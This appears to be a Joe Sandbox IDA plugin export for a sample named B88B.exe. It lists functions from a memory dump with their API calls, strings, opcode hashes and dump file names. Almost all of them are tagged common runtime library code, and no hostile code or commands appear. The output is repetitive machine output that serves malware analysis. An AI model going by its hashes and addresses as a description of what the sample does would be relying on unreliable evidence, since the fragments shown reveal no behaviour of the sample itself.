Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Timer$Scheduler$Base::LibraryLoadQueue$AsyncConcurrency::details::platform::__ContextCreateCurrentDefaultReferenceRegisterShared
String ID:
API String ID: 1684785560-0
Opcode ID: c6f3725228db4d8d0a31ba0e2a5775c0e46d052c4de470ec674ebcfc43c744a0
Instruction ID: cc9256b8b0523312aca46a6a0b15dccf3076d0464777842316a2fe4f4444de84
Opcode Fuzzy Hash: c6f3725228db4d8d0a31ba0e2a5775c0e46d052c4de470ec674ebcfc43c744a0
Instruction Fuzzy Hash: 6401D671502706BBD722BF68CC99C9BBBBDEF10380B10492AF465961D1D770994087A1

Uniqueness

Uniqueness Score: -1.00%

Function 00316E2F Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00316E49
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 00316E5D
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00316E75
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00316E8D

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction ID: 18fae3b7c8307a0d54cbeaaae87cb814dfd834732b05db03ad3fd8a59bacd9be
Opcode Fuzzy Hash: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction Fuzzy Hash: 1C01263A600114A7CF1BAE98C952EEF77AD9F88310F000116FC15AB282DA70ED4096F0

Uniqueness

Uniqueness Score: -1.00%

Function 0031F01D Relevance: 6.0, APIs: 4, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,?,?,00000000,0031F182,00000000,?,0032587B,00000000,00000000,?,?,00000000,00000000,00000001,00000000), ref: 0031F033
GetLastError.KERNEL32(?,0032587B,00000000,00000000,?,?,00000000,00000000,00000001,00000000,00000000,?,0031F182,00000000,00000104,?), ref: 0031F03D
__dosmaperr.LIBCMT ref: 0031F044

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: ErrorFullLastNamePath__dosmaperr
String ID:
API String ID: 2398240785-0
Opcode ID: 860a9a7185d2d4e95fcb582d2b493aec74a975ba6376147016e558327f9207df
Instruction ID: 773afbf36ff7011379a7808a95c6ca875a29f698e7b3d52a28cf189b54ce55d5
Opcode Fuzzy Hash: 860a9a7185d2d4e95fcb582d2b493aec74a975ba6376147016e558327f9207df
Instruction Fuzzy Hash: 2BF01D32600515BFCB2A5BA2DC08996BF6DFF4C3A1B058521F52DC7521C731E891DB90

Uniqueness

Uniqueness Score: -1.00%

Function 0031F086 Relevance: 6.0, APIs: 4, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,?,?,00000000,0031F182,00000000,?,00325806,00000000,00000000,0031F182,?,?,00000000,00000000,00000001), ref: 0031F09C
GetLastError.KERNEL32(?,00325806,00000000,00000000,0031F182,?,?,00000000,00000000,00000001,00000000,00000000,?,0031F182,00000000,00000104), ref: 0031F0A6
__dosmaperr.LIBCMT ref: 0031F0AD

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: ErrorFullLastNamePath__dosmaperr
String ID:
API String ID: 2398240785-0
Opcode ID: cacef074bc1b13ff1ef6377a6744b721fc568d2cb103ba3f14ad7d2bbc771eaa
Instruction ID: c8d72b5ddc223a4b5d5ac732e6671fb8c8eb333fb6cbf888ef8a58a84d5bf429
Opcode Fuzzy Hash: cacef074bc1b13ff1ef6377a6744b721fc568d2cb103ba3f14ad7d2bbc771eaa
Instruction Fuzzy Hash: AAF01932600515BFCB2A5BA2DC4899AFF6DFF8C3A17068525F529C7422D731E8A1DBD0

Uniqueness

Uniqueness Score: -1.00%

Function 00308A76 Relevance: 6.0, APIs: 4, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 003039D6: TlsGetValue.KERNEL32(?,?,00302F57,00302D84,?,?), ref: 003039DC

Concurrency::details::InternalContextBase::LeaveScheduler.LIBCONCRT ref: 00308AA0

Part of subcall function 00311D7F: Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 00311DA6
Part of subcall function 00311D7F: Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 00311DBF
Part of subcall function 00311D7F: Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 00311E35
Part of subcall function 00311D7F: Concurrency::details::SchedulerBase::DeferredGetInternalContext.LIBCONCRT ref: 00311E3D

Concurrency::details::SchedulerBase::ReferenceForAttach.LIBCONCRT ref: 00308AAE
Concurrency::details::SchedulerBase::GetExternalContext.LIBCMT ref: 00308AB8
Concurrency::details::ContextBase::PushContextToTls.LIBCMT ref: 00308AC2

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$InternalScheduler$AttachAvailableBlockingDeferredExternalFindLeaveMakeNestingPrepareProcessor::PushReferenceValueVirtualWork
String ID:
API String ID: 2616382602-0
Opcode ID: 393b35a16b10c7042cc6666b3201dfcf60d91515dceeaf73cfce37002470541f
Instruction ID: 10e0b6bcc276bb5ad3fab492cef53a8d44c29e9e47b8d72ae0ab423b7a4ddcb3
Opcode Fuzzy Hash: 393b35a16b10c7042cc6666b3201dfcf60d91515dceeaf73cfce37002470541f
Instruction Fuzzy Hash: 9CF0F635B0161867CB27B76598229EDBA6A9F91B60B04012BF8014B5D2DF609E01C6C2

Uniqueness

Uniqueness Score: -1.00%

Function 0032A39F Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(002E8000,0000000F,00344630,00000000,002E8000,?,00328A8A,002E8000,00000001,002E8000,002E8000,?,00323965,00000000,?,002E8000), ref: 0032A3B6
GetLastError.KERNEL32(?,00328A8A,002E8000,00000001,002E8000,002E8000,?,00323965,00000000,?,002E8000,00000000,002E8000,?,00323EB9,002E8000), ref: 0032A3C2

Part of subcall function 0032A388: CloseHandle.KERNEL32(FFFFFFFE,0032A3D2,?,00328A8A,002E8000,00000001,002E8000,002E8000,?,00323965,00000000,?,002E8000,00000000,002E8000), ref: 0032A398

___initconout.LIBCMT ref: 0032A3D2

Part of subcall function 0032A34A: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0032A379,00328A77,002E8000,?,00323965,00000000,?,002E8000,00000000), ref: 0032A35D

WriteConsoleW.KERNEL32(002E8000,0000000F,00344630,00000000,?,00328A8A,002E8000,00000001,002E8000,002E8000,?,00323965,00000000,?,002E8000,00000000), ref: 0032A3E7

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 0b1b0ca890153985135e29507d04b5440200d76a1a81213507c2eee13eccf08c
Instruction ID: f59aa6907d27fa5958564c340727588fa28518ab1a1f0021b39da966a06f5360
Opcode Fuzzy Hash: 0b1b0ca890153985135e29507d04b5440200d76a1a81213507c2eee13eccf08c
Instruction Fuzzy Hash: B0F01C3A501524FBCF236FD6EC4598A7F2AFF493A1F014011FA18D9120DA7298209B92

Uniqueness

Uniqueness Score: -1.00%

Function 002FA8F0 Relevance: 6.0, APIs: 4, Instructions: 27threadsleepCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,002FA7C0,00000000,00000000,00000000), ref: 002FA906
CreateThread.KERNEL32(00000000,00000000,Function_0001A850,00000000,00000000,00000000), ref: 002FA917
CreateThread.KERNEL32(00000000,00000000,002FA8E0,00000000,00000000,00000000), ref: 002FA928
Sleep.KERNEL32(00007530,?,002FA983), ref: 002FA935

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: CreateThread$Sleep
String ID:
API String ID: 422425972-0
Opcode ID: b0e50052e6ac0e7ef3d424748b254f5c16fe6ff041298dcd15f4630282477fc7
Instruction ID: 78a014366f45f4cc5c37891d17a397749509f6e19168aad15a8a3703ff94808f
Opcode Fuzzy Hash: b0e50052e6ac0e7ef3d424748b254f5c16fe6ff041298dcd15f4630282477fc7
Instruction Fuzzy Hash: DBE092B1BF8328B6F17123A06C43F299A285B09FE1F350022B70C7F1D005C034214AEE

Uniqueness

Uniqueness Score: -1.00%

Function 0030E234 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 180threadCOMMON

Download Yara Rule

APIs

Part of subcall function 0030D6B2: std::bad_exception::bad_exception.LIBCMT ref: 0030D6D4

GetCurrentThread.KERNEL32 ref: 0030E314

Part of subcall function 00303862: GetThreadPriority.KERNEL32(?), ref: 00303868

Concurrency::details::ResourceManager::GetCoreCount.LIBCMT ref: 0030E340

Strings

3/, xrefs: 0030E333

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: Thread$Concurrency::details::CoreCountCurrentManager::PriorityResourcestd::bad_exception::bad_exception
String ID: 3/
API String ID: 294561601-2584162468
Opcode ID: 7265bb704dd913c02e82a1434e3c4ab05497face6f48eaf1856e966ac8d423e8
Instruction ID: 222a9e09fb9fc6a91672c879496687aeed294309e98b386860a98df2201ec4f5
Opcode Fuzzy Hash: 7265bb704dd913c02e82a1434e3c4ab05497face6f48eaf1856e966ac8d423e8
Instruction Fuzzy Hash: DC713B71A012158FDF49DF78C8A67A97BE5BF48310F1885BADC49DF28ADB748940CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00321C00 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 127COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(0000FDE9,?,?,?,00000000), ref: 00321C32

Strings

+ 2, xrefs: 00321C17
, xrefs: 00321C77

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: Info
String ID: $+ 2
API String ID: 1807457897-1106787411
Opcode ID: 7ca434185242613ca6c32a133077b9c4796a6baa9d3a0cf7bb07e5ed0dee9012
Instruction ID: e3f680561e5767e393ad368ef17130dbc92dd59870f34fec8b663771891a845e
Opcode Fuzzy Hash: 7ca434185242613ca6c32a133077b9c4796a6baa9d3a0cf7bb07e5ed0dee9012
Instruction Fuzzy Hash: 55416D74104268DBDB238B54EE84BF77BFDEB25304F2404ADE58687042D271AD459B60

Uniqueness

Uniqueness Score: -1.00%

Function 0031C926 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\B88B.exe, xrefs: 0031C969, 0031C970, 0031C9A6

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\B88B.exe
API String ID: 0-1373352849
Opcode ID: b3c1e84a8bf6ba469d2e142dabec580b4a484c114f5599d915a588670020ee54
Instruction ID: 174a6a42a014c2838ff3cbc5ea565311e88222d25666da9593038074337f9648
Opcode Fuzzy Hash: b3c1e84a8bf6ba469d2e142dabec580b4a484c114f5599d915a588670020ee54
Instruction Fuzzy Hash: B941CFB1A60218AFCB1BDB999C81ADEBBBCEF89700F145066E504DB211D7719E80DB90

Uniqueness

Uniqueness Score: -1.00%

Function 0030E766 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 116COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 0030E7AE

Strings

3/, xrefs: 0030E77F, 0030E795, 0030E836
pContext, xrefs: 0030E7A6

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: 3/$pContext
API String ID: 2141394445-1612168763
Opcode ID: 26fae1738fc9fe135fc72a85470b18d2d52b0dbc0ff9355b105d4095569a2036
Instruction ID: 17496537137fc625edf65a8a458a647c80f3c49a9154a8fcf9b01f22a1dbbe35
Opcode Fuzzy Hash: 26fae1738fc9fe135fc72a85470b18d2d52b0dbc0ff9355b105d4095569a2036
Instruction Fuzzy Hash: 14415B35B012159FCB09DF99C8D09AEB7B9FF88714B1584A9D511AB351C770AD418B90

Uniqueness

Uniqueness Score: -1.00%

Function 00321D81 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

Part of subcall function 00321B2A: GetOEMCP.KERNEL32(00000000,00321D9C,?,?,0031AFBD,0031AFBD,?), ref: 00321B55

_free.LIBCMT ref: 00321DF9

Strings

@b4, xrefs: 00321E21

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: _free
String ID: @b4
API String ID: 269201875-4188318018
Opcode ID: 5fdd5a9bac1e153c10a1181bbb82b72e27fee0acbd6e8d0f2a703e41f63eae59
Instruction ID: 57811272b705392971cc8323b29bd9631ebcbda165066487c854990ed7651f1a
Opcode Fuzzy Hash: 5fdd5a9bac1e153c10a1181bbb82b72e27fee0acbd6e8d0f2a703e41f63eae59
Instruction Fuzzy Hash: F931E171900259AFCB02DF68E980BEE7BF4EF55320F12046AF8109B2A1EB32DD41CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00322A90 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 99COMMON

Download Yara Rule

APIs

GetStringTypeW.KERNEL32(?,00000000,00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,0000FDE9), ref: 00322B60
__freea.LIBCMT ref: 00322B69

Part of subcall function 0031E3CB: HeapAlloc.KERNEL32(00000000,?,?,?,00321DBE,00000220,?,?,?,?,?,?,0031AFBD,?), ref: 0031E3FD

Strings

+ 2, xrefs: 00322AA3

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: AllocHeapStringType__freea
String ID: + 2
API String ID: 2523373117-2517239089
Opcode ID: 7eb775190c07f833bc040e259d98f715262307cab22ac4431e5dd61fb5a9161f
Instruction ID: e20ab9eb40a6c03b686115c698eb1a5d497f27ab7bc1f56aefdc16fc93d9f52b
Opcode Fuzzy Hash: 7eb775190c07f833bc040e259d98f715262307cab22ac4431e5dd61fb5a9161f
Instruction Fuzzy Hash: 8531B072A0022AABDF269F65EC41EEF7BB9EF44310F0A4124FC149B251DB309D50CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0031E890 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0031E8E0
_free.LIBCMT ref: 0031E914

Strings

xa4, xrefs: 0031E907

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: _free
String ID: xa4
API String ID: 269201875-4176563881
Opcode ID: ab6636cfe481a0ae31183219e2a0cc303f7c31ab3ec43ad5fbe23f860b5f694e
Instruction ID: d7d5606dd0e6d6aab108dbb6ce28a9f7d4e8f7ce810ba65d1bc967a6dfd5d4dc
Opcode Fuzzy Hash: ab6636cfe481a0ae31183219e2a0cc303f7c31ab3ec43ad5fbe23f860b5f694e
Instruction Fuzzy Hash: E101D8759056213AD96F3374AC03AFE216C5F0EB72F150620BD20AD0E2DA176CD14192

Uniqueness

Uniqueness Score: -1.00%

Function 003024B7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMONLIBRARYCODE

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 003024CD
_SpinWait.LIBCONCRT ref: 00302503

Strings

3/, xrefs: 003024ED, 0030251E

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: SpinWait
String ID: 3/
API String ID: 2810355486-2584162468
Opcode ID: 85ca964bf21b1bb26691b5b481b28c9da992ce58ed036f48560c6edb203d8bcf
Instruction ID: 4e48959aff978d720b7e5ac3f5a39f55ed083f822d3a9fa044a2358f12081d4c
Opcode Fuzzy Hash: 85ca964bf21b1bb26691b5b481b28c9da992ce58ed036f48560c6edb203d8bcf
Instruction Fuzzy Hash: 7B01D8319016218BC6275B3AD97C76FF7D8EB02321F06451DD496936D0C764ED818B48

Uniqueness

Uniqueness Score: -1.00%

Function 00315231 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44threadCOMMON

Download Yara Rule

APIs

Concurrency::details::ThreadProxy::SpinUntilBlocked.LIBCMT ref: 00315241
Concurrency::details::FreeThreadProxy::SetAffinity.LIBCMT ref: 0031528C

Part of subcall function 0031544C: Concurrency::details::HardwareAffinity::operator==.LIBCONCRT ref: 0031545A

Strings

3/, xrefs: 00315255

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Proxy::Thread$AffinityAffinity::operator==BlockedFreeHardwareSpinUntil
String ID: 3/
API String ID: 2209302084-2584162468
Opcode ID: 1be4ada5c4b624ba34e5b66db9518b3d2da3296e3853b5e6700a4ff5d3c58ef9
Instruction ID: 79ecbe8289cb9ff5e63a210a796b2fe63b66501c37061548c515284b9d532d01
Opcode Fuzzy Hash: 1be4ada5c4b624ba34e5b66db9518b3d2da3296e3853b5e6700a4ff5d3c58ef9
Instruction Fuzzy Hash: 90016239B00A05AB8B05EF69D48149EF7B5FF8D310700452BED069B355DB70A9558BD1

Uniqueness

Uniqueness Score: -1.00%

